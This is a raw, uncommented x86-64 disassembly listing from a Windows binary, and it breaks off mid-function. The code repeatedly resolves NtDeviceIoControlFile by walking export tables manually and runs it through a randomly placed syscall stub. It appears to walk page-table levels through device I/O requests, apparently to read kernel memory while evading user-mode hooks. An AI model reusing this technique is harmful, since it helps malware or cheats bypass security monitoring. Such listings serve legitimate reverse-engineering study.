mov eax, dword [0x140322768]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
lea r8d, [rdx + 1]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140075019
cmp word [rax], bx
jne 0x140075019
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140075019
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140075019
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov esi, dword [rax + 0x20]
add r13, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140075019
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140074e53
inc rbx
cmp rbx, r14
jb 0x140074e30
jmp 0x140075019
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140075019
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140075019
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x63154], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x61dd0]
call fcn.1400be1b0
lea rcx, [rbp + 0x61dd0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x61dd0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x94fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140074ef0
mov r8d, 0x1000
lea rdx, [rbp + 0x94fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcdc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcdc], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x990]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x990]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf60]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcdc]
lea r9, [rbp + 0xcdc]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov rax, qword [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xc30], 0
mov qword [rbp + 0xc40], 8
mov rax, qword [rbp - 0x60]
xor edx, edx
add rax, rcx
mov qword [rbp + 0x68], 0
add rax, qword [rsp + 0x68]
xorps xmm0, xmm0
mov rcx, qword [rbp + 0xc38]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
movups xmmword [rbp + 0xf70], xmm0
mov qword [rbp + 0x58], 8
lea rax, [rcx + rax*8]
mov qword [rbp + 0x60], rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140075307
cmp word [rax], r14w
jne 0x140075307
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140075307
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140075307
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov esi, dword [rax + 0x20]
add r13, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140075301
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140075143
inc rbx
cmp rbx, r14
jb 0x140075120
jmp 0x140075301
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140075301
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140075301
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x644e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x63160]
call fcn.1400be1b0
lea rcx, [rbp + 0x63160]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x63160]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe0fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400751e0
mov r8d, 0x1000
lea rdx, [rbp + 0xe0fe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc7c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc7c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x58]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x58]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf70]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc7c]
lea r9, [rbp + 0xc7c]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cb2
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x70]
test rbx, rbx
je 0x140076cb2
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp - 0x80], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140075580
cmp word [rax], r14w
jne 0x140075580
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140075580
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140075580
mov r13d, dword [rax + 0x1c]
xor edi, edi
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rsp + 0x70], rcx
test r12, r12
je 0x140075580
nop
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400753c4
inc rdi
cmp rdi, r12
jb 0x1400753a0
jmp 0x140075580
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + rdi*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x140075580
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x140075580
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x65874], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x644f0]
call fcn.1400be1b0
lea rcx, [rbp + 0x644f0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop dword [rax + rax]
lea rcx, [rbp + 0x644f0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xebfe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140075460
mov r8d, 0x1000
lea rdx, [rbp + 0xebfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rdi, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc80]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xc80], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp + 0x58]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x58]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf70]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xc80]
lea r9, [rbp + 0xc80]
mov edx, 0x1000
mov rcx, r14
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140076cb2
mov r14, qword [rsp + 0x50]
mov rsi, r15
test bl, 1
je 0x140076cad
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
shr rax, 0x1e
and rbx, rcx
and eax, 0x1ff
mov qword [rbp + 0xb8], 0
xor edx, edx
mov qword [rbp + 0xc0], 0
xorps xmm0, xmm0
mov qword [rbp + 0xc8], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0xa8], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0xb0], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc48], rax
movups xmmword [rbp + 0xf80], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], r14
mov ebx, 0x5a4d
mov rdi, rax
test rax, rax
je 0x14007588e
cmp word [rax], bx
jne 0x14007588e
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x50], r14
cmp dword [rax + rdi], 0x4550
jne 0x14007588e
mov eax, dword [rax + rdi + 0x88]
mov qword [rsp + 0x50], r14
add rax, rdi
je 0x14007588e
mov ecx, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x20]
add rcx, rdi
mov r13d, dword [rax + 0x18]
add r12, rdi
mov qword [rbp - 0x80], rcx
mov ecx, dword [rax + 0x24]
add rcx, rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x70], rcx
test r13, r13
je 0x140075889
mov qword [rsp + 0x50], r14
nop word [rax + rax]
mov ecx, dword [r12 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400756c4
inc rbx
cmp rbx, r13
jb 0x1400756a0
jmp 0x140075889
mov rax, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x80]
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, rdi
je 0x140075889
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140075889
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x66c04], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x65880]
call fcn.1400be1b0
lea rcx, [rbp + 0x65880]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x65880]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdffe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140075760
mov r8d, 0x1000
lea rdx, [rbp + 0xdffe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc84]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc84], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc48]
lea rax, [rbp + 0xa8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xa8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf80]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc84]
lea r9, [rbp + 0xc84]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cb2
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0xc0]
test rdi, rdi
je 0x140076cb2
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp - 0x80], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140075b16
cmp word [rax], bx
jne 0x140075b16
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140075b16
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140075b16
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rsp + 0x70], rcx
test r12, r12
je 0x140075b16
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140075954
inc rbx
cmp rbx, r12
jb 0x140075930
jmp 0x140075b16
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x140075b16
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x140075b16
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x67f94], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x66c10]
call fcn.1400be1b0
lea rcx, [rbp + 0x66c10]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x66c10]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdefe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400759f0
mov r8d, 0x1000
lea rdx, [rbp + 0xdefe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rbx, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc88]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc88], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp + 0xa8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xa8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf80]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc88]
lea r9, [rbp + 0xc88]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cb2
mov r14, qword [rsp + 0x50]
mov rsi, r15
test dil, 1
je 0x140076cad
movzx eax, dil
shr al, 7
test al, 1
je 0x140075b57
movabs rax, 0xfffffc0000000
mov qword [rsp + 0x50], r14
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x3fffffff
add rdi, rax
jmp 0x1400766be
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
shr rax, 0x15
and rdi, rcx
and eax, 0x1ff
mov qword [rbp + 0xe0], 0
xor edx, edx
mov qword [rbp + 0xe8], 0
xorps xmm0, xmm0
mov qword [rbp + 0xf0], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0xd0], 8
lea rax, [rdi + rax*8]
mov qword [rbp + 0xd8], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc48], rax
movups xmmword [rbp + 0xf90], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], r14
mov r12d, 0x5a4d
mov rdi, rax
test rax, rax
je 0x140075e4f
cmp word [rax], r12w
jne 0x140075e4f
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x50], r14
cmp dword [rax + rdi], 0x4550
jne 0x140075e4f
mov eax, dword [rax + rdi + 0x88]
mov qword [rsp + 0x50], r14
add rax, rdi
je 0x140075e4f
mov ecx, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x20]
add rcx, rdi
mov r13d, dword [rax + 0x18]
add r12, rdi
mov qword [rbp - 0x80], rcx
mov ecx, dword [rax + 0x24]
add rcx, rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x70], rcx
test r13, r13
je 0x140075e49
mov qword [rsp + 0x50], r14
nop
mov ecx, dword [r12 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140075c84
inc rbx
cmp rbx, r13
jb 0x140075c60
jmp 0x140075e49
mov rax, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x80]
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, rdi
je 0x140075e49
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140075e49
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x69324], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x67fa0]
call fcn.1400be1b0
lea rcx, [rbp + 0x67fa0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x67fa0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xddfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140075d20
mov r8d, 0x1000
lea rdx, [rbp + 0xddfe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc8c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc8c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc48]
lea rax, [rbp + 0xd0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xd0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf90]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc8c]
lea r9, [rbp + 0xc8c]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cb2
mov r12d, 0x5a4d
mov rbx, qword [rbp + 0xe8]
test rbx, rbx
je 0x140076cb2
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp - 0x80], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400760d6
cmp word [rax], r12w
jne 0x1400760d6
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400760d6
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400760d6
mov r13d, dword [rax + 0x1c]
xor edi, edi
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rsp + 0x70], rcx
test r12, r12
je 0x1400760d6
nop dword [rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140075f14
inc rdi
cmp rdi, r12
jb 0x140075ef0
jmp 0x1400760d6
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + rdi*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x1400760d6
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x1400760d6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x6a6b4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x69330]
call fcn.1400be1b0
lea rcx, [rbp + 0x69330]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop dword [rax + rax]
lea rcx, [rbp + 0x69330]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xdcfe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140075fb0
mov r8d, 0x1000
lea rdx, [rbp + 0xdcfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rdi, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc90]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xc90], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp + 0xd0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xd0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf90]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xc90]
lea r9, [rbp + 0xc90]
mov edx, 0x1000
mov rcx, r14
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140076cb2
mov r14, qword [rsp + 0x50]
mov rsi, r15
test bl, 1
je 0x140076cad
movzx eax, bl
shr al, 7
test al, 1
je 0x140076110
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3ffffffe00000
and edi, 0x1fffff
mov qword [rsp + 0x50], r14
jmp 0x1400766b8
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
shr rax, 0xc
and rbx, rcx
and eax, 0x1ff
mov qword [rbp + 0x108], 0
xor edx, edx
mov qword [rbp + 0x110], 0
xorps xmm0, xmm0
mov qword [rbp + 0x118], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0xf8], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0x100], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc48], rax
movups xmmword [rbp + 0xfa0], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], r14
mov r12d, 0x5a4d
mov rdi, rax
test rax, rax
je 0x14007640f
cmp word [rax], r12w
jne 0x14007640f
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x50], r14
cmp dword [rax + rdi], 0x4550
jne 0x14007640f
mov eax, dword [rax + rdi + 0x88]
mov qword [rsp + 0x50], r14
add rax, rdi
je 0x14007640f
mov ecx, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x20]
add rcx, rdi
mov r13d, dword [rax + 0x18]
add r12, rdi
mov qword [rbp - 0x80], rcx
mov ecx, dword [rax + 0x24]
add rcx, rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x70], rcx
test r13, r13
je 0x140076409
mov qword [rsp + 0x50], r14
